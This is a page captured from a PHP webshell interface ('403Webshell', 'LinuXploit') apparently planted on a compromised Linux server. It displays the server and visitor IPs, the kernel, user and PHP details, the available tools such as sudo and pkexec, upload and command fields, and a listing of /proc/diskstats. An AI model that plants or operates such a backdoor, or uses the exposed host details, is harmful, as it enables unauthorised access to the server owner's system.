403Webshell
Server IP : 195.114.193.97  /  Your IP : 216.73.217.68
Web Server : LiteSpeed
System : Linux host 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
User : sembi4241 ( 1126)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//diskstats
   7       0 loop0 19560 0 273080 5152 0 0 0 0 0 56192 5152 0 0 0 0 0 0
   7       1 loop1 29134 0 457032 5801 0 0 0 0 0 79052 5801 0 0 0 0 0 0
   7       2 loop2 113 0 2402 33 0 0 0 0 0 172 33 0 0 0 0 0 0
   7       3 loop3 21753 0 299128 5558 0 0 0 0 0 61748 5558 0 0 0 0 0 0
   7       4 loop4 31263 0 442066 9241 0 0 0 0 0 92840 9241 0 0 0 0 0 0
   7       5 loop5 4418 0 295318 830 0 0 0 0 0 15772 830 0 0 0 0 0 0
   7       6 loop6 5977 0 397334 989 0 0 0 0 0 21640 989 0 0 0 0 0 0
   7       7 loop7 1857 0 152586 390 0 0 0 0 0 6392 390 0 0 0 0 0 0
  11       0 sr0 98 0 704 28 0 0 0 0 0 56 28 0 0 0 0 0 0
   8       0 sda 52992940 15635857 1597780882 31565545 18131469 22873854 428515814 27179311 0 60055120 61009580 1346452 2 167281674 996714 1267515 1268008
   8       1 sda1 52992257 15632863 1597748472 31565382 18131467 22873854 428515812 27179311 0 60054988 59741399 1346448 0 166879016 996706 0 0
   8      14 sda14 199 0 1840 33 0 0 0 0 0 88 33 0 0 0 0 0 0
   8      15 sda15 223 2994 20242 76 2 0 2 0 0 132 84 4 2 402658 8 0 0
   7       8 loop8 91659 0 824042 615851 1764019 0 18886968 1883379 0 2677648 3719938 1356 0 5592280 157 145299 1220550
   7       9 loop9 11454 0 984474 8922 0 0 0 0 0 51176 8922 0 0 0 0 0 0
   7      10 loop10 11 0 28 0 0 0 0 0 0 8 0 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit